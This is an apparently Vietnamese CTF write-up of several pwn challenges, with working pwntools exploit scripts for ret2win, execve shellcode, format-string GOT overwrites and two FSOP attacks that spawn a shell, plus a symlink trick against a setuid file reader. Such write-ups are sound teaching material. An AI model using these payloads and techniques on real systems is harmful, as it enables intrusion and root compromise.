![image](https://hackmd.io/_uploads/HkOMiPfw1e.png) ## baby-pwn bài đầu tiên chỉ là 1 bài warmup thôi - ```main``` ![image](https://hackmd.io/_uploads/rJ_EjwGw1l.png) - ```vulnerable_function``` xảy ra ```BOF``` và được tặng thêm địa chỉ hàm ```secret``` ( 1 hàm để lấy flag) ![image](https://hackmd.io/_uploads/SJvHovMwyl.png) - vậy đơn giản là 1 bài ret2win thôi script ```cpp #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./baby-pwn') #p = process() p = remote('34.162.142.123', 5000) p.recvuntil(b'secret: ') secret = int(p.recvline()[:-1],16) p.sendline(b'a'*0x40 + p64(0) + p64(secret)) p.interactive() ``` ![image](https://hackmd.io/_uploads/BJbnjDfw1g.png) ---------- # baby-pwn-2 ## REVERSE - bài này cũng là 1 bài warmup , ret2shellcode nên sẽ nói nhanh đầu tiên in địa chỉ của ```s``` , ```s``` ở đây là 1 biến chứa dữ liệu của ta nhập vào , xảy ra ```BOF``` và NX cũng tắt -> ret2shellcode thôi ![image](https://hackmd.io/_uploads/S11X2DGwJe.png) ### EXPLOIT script : ```css #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./baby-pwn-2') p = process() p = remote('34.162.119.16', 5000) p.recvuntil(b'Stack address leak: ') leak = int(p.recvline()[:-1],16) print(hex(leak)) input() #shellcode = asm(shellcraft.sh()) payload = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" payload = payload.ljust(0x40,b'\x90') p.sendlineafter(b'Enter some text: ',payload + p64(0) + p64(leak)) p.interactive() ``` ![image](https://hackmd.io/_uploads/SyBAjvGP1x.png) ---------------- ## echo ### REVERSE checksec : ![image](https://hackmd.io/_uploads/H15S6PMwkg.png) bài này nhìn vào thì là 1 bug ```fsb``` đơn giản đúng không? :))) , tuy nhiên ta thấy ở đây ta chỉ được nhập cho ```buf``` đúng 1 byte vì ```canary``` sẽ ở vị trí ```rbp-8``` , may mắn là ```GOT``` vẫn có thể overwrite nên điều kiện cấp thiết nhất sẽ là overwrite ```__stack_chk_fail@plt``` thành ```main``` để tạo 1 loop ![image](https://hackmd.io/_uploads/S1PG6Pfwkl.png) lúc này thì ta phải tìm kiếm 1 địa chỉ nào đó gần giống với địa chỉ ```got``` ta cần ghi ![image](https://hackmd.io/_uploads/S1mLAPzPye.png) ## EXPLOIT - 1 điều quan trọng nữa là ở đây ta có thể input tận 0x100 byte và lần ghi đè của ta sẽ thực hiện trước khi ```__stack_chk_fail@GLIBC_2.4``` được gọi nên ta có thể ghi đè ```lsb``` của 1 địa chỉ nào đó khiến cho việc brute_force trở nên ít nhất có thể , và hợp lý nhất có lẽ là ```0x555555555275``` , địa chỉ got là ```0x555555558018``` , vậy ta sẽ overwrite 2 byte cuối ![image](https://hackmd.io/_uploads/Sy9CRvMvyx.png) và mỗi lần chạy thì thằng địa chỉ này chỉ random nửa byte -> 4 bit và tỉ lệ sẽ là 2^4 = 1/16 ![image](https://hackmd.io/_uploads/SJLskOGDJe.png) ![image](https://hackmd.io/_uploads/BJy3y_zPkg.png) okay phần khó nhất là ở bước này , các bước còn lại thì ta chỉ cần leak libc và ta có thể lựa chọn overwrite GOT hoặc ret2libc tùy thích ở đây mình sử dụng one_gadget để overwrite ```GOT``` của ```printf``` script ```csharp= #!/usr/bin/env python3 from pwn import * exe = ELF("./chall_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe p = remote('34.29.214.123', 5000) #gdb.attach(p,gdbscript=''' # brva 0x0000000000001221 # ''') input() payload = b'%21065c%9$hn' payload = payload.ljust(17,b'a') p.send(payload+ p16(0x8018)) p.send(b'|%25$p|%21$p|') p.recvuntil(b'|') main = int(p.recvuntil(b'|')[:-1],16) exe.address = main - exe.sym.main libc_leak = int(p.recvuntil(b'|')[:-1],16) libc.address = libc_leak - 0x2a1ca system = libc.sym.system print(hex(main)) print(hex(libc.address)) print(hex(system)) one_gadget = [0x583dc,0x583e3,0xef4ce,0xef52b] log.info(f'one_gadget1: {hex(libc.address + one_gadget[3])}') package = { libc.address+one_gadget[3] & 0xffff: exe.got.printf, libc.address+one_gadget[3] >> 16 & 0xffff: exe.got.printf+2, } order = sorted(package) payload = f'%{order[0]}c%11$hn'.encode() payload += f'%{order[1] - order[0]}c%12$hn'.encode() payload = payload.ljust(33,b'a') payload += flat( package[order[0]], package[order[1]], ) p.send(payload) p.send(b'a') p.interactive() ```python - vì tỉ lệ khá cao nên mình không cần viết script brute_force ![image](https://hackmd.io/_uploads/S1vtxdzDJl.png) ``` ----------- ## book Editor ### REVERSE checksec : ![image](https://hackmd.io/_uploads/SklOnimD1l.png) - ở bài này ta thấy có 2 option chính , đầu tiên ta sẽ được nhập 1 size và chương trình sẽ sử dụng size đó để ```malloc``` , tiếp theo ta được nhập dữ liệu vào ```book``` ```c int __fastcall main(int argc, const char **argv, const char **envp) { int v4; // [rsp+8h] [rbp-8h] int Choice; // [rsp+Ch] [rbp-4h] setup(argc, argv, envp); printf("How long will your book be: "); __isoc99_scanf("%ld", &bookSize); book = malloc(bookSize); printf("Contents of the book: "); read(0, book, bookSize); v4 = 1; while ( v4 ) { menu(); Choice = getChoice(); if ( Choice == 3 ) { v4 = 0; } else { if ( Choice > 3 ) goto LABEL_10; if ( Choice == 1 ) { editBook(); } else if ( Choice == 2 ) { readBook(); } else { LABEL_10: puts("That is not an option"); } } } return 0; } ``` option 1 : ```edit_book``` ta sẽ được nhập 1 địa chỉ ```4 byte``` và check nó với ```book_size``` , tiếp theo là read vào book+địa chỉ mà ta nhập với số byte là ```-địa chỉ ta nhập + book size -1``` , ở đây ```v1``` là ```unsigned int``` và ta được nhập số âm nên xảy ra bug ```integer overflow``` ```C= unsigned __int64 editBook() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("Where do you want to edit: "); __isoc99_scanf("%d", &v1); while ( getchar() != 10 ) ; if ( v1 < bookSize ) { printf("What do you want to edit: "); printf("%p", (const void *)(-v1 + bookSize - 1)); read(0, (char *)book + v1, -v1 + bookSize - 1); } else { printf("Please dont edit ouside of the book."); } return v2 - __readfsqword(0x28u); } ``` option 2 : ```readBook``` hàm này chỉ đơn giản là đọc dữ liệu từ ```book``` ### EXPLOIT vậy ta sẽ khai thác bài này như thế nào? đầu tiên ta thấy được chắc chắn là ta sẽ read được 1 số lượng lớn byte vào địa chỉ mà ta nhập , ở đây ta có thể kết hợp thêm 1 trick từ malloc : ```c printf("How long will your book be: "); __isoc99_scanf("%ld", &bookSize); book = malloc(bookSize); ``` nếu ta nhập -1 vào size thì ![image](https://hackmd.io/_uploads/HJhdbhmDkx.png) ta thấy nó sẽ không phân bổ bất kỳ chunk nào , ta có thể tận dụng được điều này để ghi tùy ý và ta có thể nhập dữ liệu vào đó , ở đây suy nghĩ đầu tiên sẽ là overwrite ```ret_address``` và muốn làm điều đó thì trước tiên ta phải leak được stack , và muốn leak được ```stack``` thì phải leak được ```libc_environ``` ![image](https://hackmd.io/_uploads/r1Zqbn7v1g.png) - ta có thể dễ dàng leak libc bằng cách trên , chỉ cần ghi ```stdout``` vào ```book``` và dùng option2 để in ![image](https://hackmd.io/_uploads/HyfG7hQDkg.png) - lúc này khi đã có libc , lúc này ta sẽ dùng nó để leak địa chỉ stack cho ta bằng cách sử dụng ```FSOP``` , hãy nhớ lại lúc nãy ta đã ghi ```book``` bằng ```stdout``` , vậy bây giờ ta sẽ ghi lại ```book``` bằng ```_IO_2_1_stdin - 8``` , vậy tại sao là -8 ở trường hợp này ? vì lúc này ta cần leak nên ta sẽ cần ghi ```struct_IO_FILE``` của ```STDOUT``` để leak stack và khi có địa chỉ stack thì ta chỉ cần dùng ```ROP``` để ghi vào ```ret_address``` , lúc này giai đoạn cuối là overwrite ```struct_IO_FILE``` của ```STDIN``` để ta có thể thực hiện ghi tùy ý full script : ```c #!/usr/bin/env python3 from pwn import * exe = ELF("./chall_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe p = process() #gdb.attach(p,gdbscript=''' # b*0x000000000040132A # b*0x00000000004013CD # b*0x000000000040140F # ''') input() p.sendline(b'-1') p.sendline(b'1') #over write book to stdout p.sendline(str(0x404030)) p.sendline(p64(0x404010)) # leak libc input() p.sendline(b'2') p.recvuntil(b'your book: ') libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x2045c0 log.info(f'libc.address: {hex(libc.address)}') input() p.sendline(b'1') p.sendline(b'32') # offset from stdout to book p.sendline(p64(libc.sym._IO_2_1_stdin_ -8 )) #overwrite fp stdout to leak stack address input() p.sendline(b'1') p.sendline(str(8 + 0xce0).encode()) fp = FileStructure() fp.write(libc.sym.environ, 0x100) p.sendline(bytes(fp)[:0x30]) p.recvuntil(b'0xfffff221') stack_leak = u64(p.recv(6).ljust(8, b'\x00')) log.success(f'{hex(stack_leak) = }') #over write fp stdin to read input('last input') p.sendline(b'1') p.sendline(str(8+0x38)) p.send(p64(stack_leak-0x150) + p64(stack_leak-0x150+0x100)) input('last input1') rop = ROP(libc) rop.raw(rop.ret) rop.system(next(libc.search(b'/bin/sh\x00'))) p.sendline(rop.chain()) p.interactive() p.interactive() ``` ## Cách 2 - cách 2 cũng sẽ sử dụng ```FSOP``` , ở đây nó sẽ fake ```vtable``` bằng ```_IO_wfile_jumps``` , bước đầu tiên tương tự cách 1 là leak libc bằng cách ghi ```book``` bằng ```got_printf``` , tiếp theo tương tự ta sẽ ghi lại ```book``` bằng ```libc_base``` , cuối cùng ta sẽ tính toán offset giữa ```libc_base``` và ```_IO_2_1_stdout``` , lúc này ta sẽ fake vtable , cách này là 1 kĩ thuật nâng cao mình đọc vẫn chưa hiểu lắm nên có lẽ cần tìm hiểu thêm script : ```C #!/usr/bin/env python3 from pwn import * exe = ELF("./chall_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe p = process() gdb.attach(p,gdbscript=''' b*0x000000000040132A b*0x00000000004013CD b*0x000000000040140F ''') input() p.sendline(b'-1') p.sendline(b'1') p.sendline(str(exe.sym.book)) p.send(p64(exe.got.printf)) input() p.sendline(b'2') p.recvuntil(b'your book: ') libc.address = u64(p.recv(6).ljust(8,b'\x00')) - libc.sym.printf log.info(f'libc.address: {hex(libc.address)}') input() p.sendline(b'1') p.sendline(str(exe.sym.book - exe.got.printf)) # offset from stdout to book p.send(p64(libc.address)) input() p.sendline(b'1') stdout_lock = libc.address + 0x205710 stdout = libc.sym['_IO_2_1_stdout_'] fake_vtable = libc.sym['_IO_wfile_jumps']-0x18 # our gadget gadget = libc.address + 0x00000000001724f0 # add rdi, 0x10 ; jmp rcx fake = FileStructure(0) fake.flags = 0x3b01010101010101 fake._IO_read_end=libc.sym['system'] # the function that we will call: system() fake._IO_save_base = gadget fake._IO_write_end=u64(b'/bin/sh\x00') # will be at rdi+0x10 fake._lock=stdout_lock fake._codecvt= stdout + 0xb8 fake._wide_data = stdout+0x200 # _wide_data just need to points to empty zone fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable) # write the fake Filestructure to stdout p.sendline(str(libc.sym._IO_2_1_stdout_ - libc.address)) p.send(bytes(fake)) p.interactive() ``` ref : https://niftic.ca/posts/fsop/#__libio_codecvt_length207 https://blog.kylebot.net/2022/10/22/angry-FSROP/ https://github.com/fyrepaw13/ctf_writeups/blob/main/WGMY2024/README.md#pwnscreenwriter ------------------ ## sort ### reverse checksec : ![image](https://hackmd.io/_uploads/r168SJ4Dkg.png) - đây là hàm chính của bài , ta sẽ cùng phân tích nó đầu tiên ta thấy nó sẽ ```malloc(0x200)``` để phân bổ động 1 vùng nhớ ở heap và ta cũng sẽ được ```read``` 0x200 byte vào ```C void sort() { _BYTE *v0; // rax unsigned __int8 *v1; // rax int i; // [rsp+Ch] [rbp-134h] int c; // [rsp+10h] [rbp-130h] int j; // [rsp+14h] [rbp-12Ch] int v5; // [rsp+18h] [rbp-128h] int v6; // [rsp+1Ch] [rbp-124h] _QWORD *v7; // [rsp+20h] [rbp-120h] char *buf; // [rsp+28h] [rbp-118h] _QWORD v9[34]; // [rsp+30h] [rbp-110h] BYREF v9[33] = __readfsqword(0x28u); memset(v9, 0, 256); v7 = v9; buf = (char *)malloc(0x200uLL); v5 = read(0, buf, 0x200uLL); for ( i = 0; i < v5; ++i ) { v0 = (char *)v9 + buf[i]; ++*v0; } free(buf); for ( c = 0; c <= 255; ++c ) { v1 = (unsigned __int8 *)v7; v7 = (_QWORD *)((char *)v7 + 1); v6 = *v1; for ( j = 0; j < v6; ++j ) putchar(c); } } ``` vì khá ngắn nên ta sẽ phân tích từng đoạn : ta thấy đoạn này sẽ lặp qua các kí tự của input ta nhập vào , có nghĩa là nó sẽ dùng để đếm số lần trong kí tự ``` lenght = read(0, buf, 0x200uLL); for ( i = 0; i < lenght; ++i ) { v0 = (char *)v9 + buf[i]; ++*v0; } ``` vd : ABCDD thì v9[A] = 1 .... v9[D] = 2 - ta đến với đoạn tiếp theo , ở đây nó sẽ loop 256 lần , gán địa chỉ mà v7 đang giữ ```ép kiểu unsigned __int8 ``` cho v1 , sau đó nó tăng địa chỉ v7 đang trỏ lên v1 (có nghĩa là v9) , gán giá trị của v1 cho 6 (giá trị của v9[c]) , nói tóm lại là nó sẽ in các kí tự từ thấp đến cao với số lần xuất hiện của nó vd : input : bbbaaaccccddd thì output sẽ là aabbbbccccddd ```C free(buf); for ( c = 0; c <= 255; ++c ) { v1 = (unsigned __int8 *)v7; v7 = (_QWORD *)((char *)v7 + 1); v6 = *v1; for ( j = 0; j < v6; ++j ) putchar(c); } } ``` ta có thể thử nhập : ![image](https://hackmd.io/_uploads/Bk0c7eVvyl.png) ### EXPLOIT vậy bug sẽ xuất hiện ở đâu , ở đây ta cần để ý ![image](https://hackmd.io/_uploads/BJ0VIlEwJl.png) lệnh movsxd sẽ là 1 lệnh mov có dấu , và có nghĩa là v0 = (char *)v9 + buf[i] , nếu buf[i] = 0x80 -> 0xff thì nó sẽ trở thành ```v0 = (char *)v9 - buf[i]``` -> sẽ có bug ```oob``` ở đây , và điều này có thể ghi đè được bất kì địa chỉ nào trong phạm vi xem ở : https://www.felixcloutier.com/x86/movsx:movsxd - và tất nhiên target sẽ là ghi đè ```main``` để get_shell , ta thấy con trỏ đến main là ```0x7fffffffd858``` và v9 là ```0x7fffffffd740``` ![image](https://hackmd.io/_uploads/B1L4OgVwyx.png) - trước hết thì ta cần leak địa chỉ trước , vậy ta sẽ ghi ```main``` bằng ```sort``` -------------------- racing ------------------ source : ```C #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { if (setuid(0) != 0) { perror("Error setting UID"); return EXIT_FAILURE; } char *fn = "/home/user/permitted"; char buffer[128]; char f[128]; FILE *fp; if (!access(fn, R_OK)) { printf("Enter file to read: "); fgets(f, sizeof(f), stdin); f[strcspn(f, "\n")] = 0; if (strstr(f, "flag") != NULL) { printf("Can't read the 'flag' file.\n"); return 1; } if (strlen(f) == 0) { fp = fopen(fn, "r"); } else { fp = fopen(f, "r"); } fread(buffer, sizeof(char), sizeof(buffer) - 1, fp); fclose(fp); printf("%s\n", buffer); return 0; } else { printf("Cannot read file.\n"); return 1; } } ``` - logic rất đơn giản , đầu tiên nó setuild(0) -> setup với quyền root cho ta , tiếp theo check ```/home/user/permitted``` có được tạo với quyền ```read``` không? - lần check tiếp theo là check chuỗi ta nhập có chuỗi "flag" không , nếu nó thì end - vậy bài này đơn giản là 1 bài tạo symbolic link từ ```/home/user/permitted``` đến /flag.txt và không cần nhập gì , flag sẽ in ra vì build docker lâu quá nên thôi mình để các bước ở đây : ```touch permitted``` -> ```/home/user/permitted``` -> ```cd /challenge``` -> ```./challenge``` và không nhập gì và ta có flag